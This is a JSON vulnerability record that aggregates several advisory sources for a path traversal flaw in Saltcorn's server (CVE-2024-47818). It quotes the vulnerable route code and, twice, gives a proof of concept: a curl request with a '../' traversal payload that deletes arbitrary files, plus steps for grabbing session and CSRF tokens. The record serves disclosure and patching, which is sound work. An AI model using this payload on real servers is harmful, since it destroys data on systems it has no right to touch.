{"id":"CVE-2024-47818","aliases":["EUVD-2024-2925","GHSA-43f3-h63w-p6f6"],"status":"published","title":"Logged-in users with any role can delete arbitrary files in @saltcorn/server","description":"Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00783,"percentile":0.56336,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-10-07T15:10:52Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"npm","package":"@saltcorn/server","fixed_in":["1.0.0-beta.16"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@saltcorn/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.0-beta.15"},{"fixed":"1.0.0-beta.16"}]}]},{"source":"osv","ecosystem":"npm","package":"@saltcorn/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.0-beta.16"}]}]}],"products":[{"vendor":"saltcorn","product":"saltcorn"},{"vendor":"saltcorn_collective_ltd","product":"saltcorn"}],"references":[{"url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-43f3-h63w-p6f6","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/saltcorn/saltcorn/commit/3c551261d0e230635774798009951fa83a07cc3a","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47818","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-43f3-h63w-p6f6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/47xxx/CVE-2024-47818.json","tags":["advisory"]},{"url":"https://github.com/saltcorn/saltcorn","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-47818","title":"Logged-in users with any role can delete arbitrary files in @saltcorn/server","description":"Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T21:10:22.072Z","modified":"2024-10-08T14:18:42.962Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:33:57.302325Z"}],"euvd":[{"id":"EUVD-2024-2925","description":"Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T21:10:22Z","modified":"2024-10-08T14:18:42Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-03T00:27:45.808193Z"}],"ghsa":[{"id":"GHSA-43f3-h63w-p6f6","title":"Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability","description":"### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) =\u003e {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n  -H $'Host: localhost:3000' \\\n  -H $'Content-Type: application/x-www-form-urlencoded' \\\n  -H $'Content-Length: 93' \\\n  -H $'Origin: http://localhost:3000' \\\n  -H $'Connection: close' \\\n  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n  --data-binary $'_csrf=VALID_CSRF_VALUE\u0026dir_name=/../../../../../../../../../../tmp/secret' \\\n  $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.","status":"published","published":"2024-10-07T15:10:52Z","modified":"2024-10-08T14:19:02Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:08.742903Z"}],"nvd":[{"id":"CVE-2024-47818","description":"Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T22:15:04.037Z","modified":"2026-06-17T07:57:48.577Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:10:31.271525Z"}],"osv":[{"id":"CVE-2024-47818","title":"Logged-in users with any role can delete arbitrary files in @saltcorn/server","description":"Saltcorn is an extensible, open source, no-code database application builder. A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`. This issue has been addressed in release version 1.0.0-beta16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.","status":"published","published":"2024-10-07T21:10:22.072Z","modified":"2026-10-28T02:30:33.137674092Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:43.253252Z"},{"id":"GHSA-43f3-h63w-p6f6","title":"Saltcorn Server allows logged-in users to delete arbitrary files because of a path traversal vulnerability","description":"### Summary\n\nA logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346\n\n```js\nrouter.post(\n  \"/clean_sync_dir\",\n  error_catcher(async (req, res) =\u003e {\n    const { dir_name } = req.body; // [1] source\n    try {\n      const rootFolder = await File.rootFolder();\n      const syncDir = path.join(\n        rootFolder.location,\n        \"mobile_app\",\n        \"sync\",\n        dir_name // [2]\n      );\n      await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink\n      res.status(200).send(\"\");\n    } catch (error) {\n      getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);\n      res.status(400).json({ error: error.message || error });\n    }\n  })\n);\n```\n\n\n### PoC\n\nThe following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)\n\n- create a file in a folder different from where the server is started:\n```\ntouch /tmp/secret\ncat /tmp/secret\n```\n\n- log with a user and retrieve valid `connect.sid` and `_csrf` values***\n- send the following `curl` request\n```\ncurl -i -X $'POST' \\\n  -H $'Host: localhost:3000' \\\n  -H $'Content-Type: application/x-www-form-urlencoded' \\\n  -H $'Content-Length: 93' \\\n  -H $'Origin: http://localhost:3000' \\\n  -H $'Connection: close' \\\n  -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \\\n  --data-binary $'_csrf=VALID_CSRF_VALUE\u0026dir_name=/../../../../../../../../../../tmp/secret' \\\n  $'http://localhost:3000/sync/clean_sync_dir'\n```\n\n- check if the file previously created does not exist anymore:\n```\ncat /tmp/secret\ncat: /tmp/secret: No such file or directory\n```\n\n*** obtain `connect.sid` and `_csrf` values\n\nA possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality:\n- log in\n- open the browser developer console, go to the `Network` tab filter for `settings` request\n- visit `http://localhost:3000/auth/settings`\n- trigger the change password functionality\n- under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command \n\n### Impact\n\nArbitrary file delete\n\n### Recommended Mitigation\n\nResolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.","status":"published","published":"2024-10-07T15:10:52Z","modified":"2024-10-08T14:19:02Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:36.434231Z"}]}}
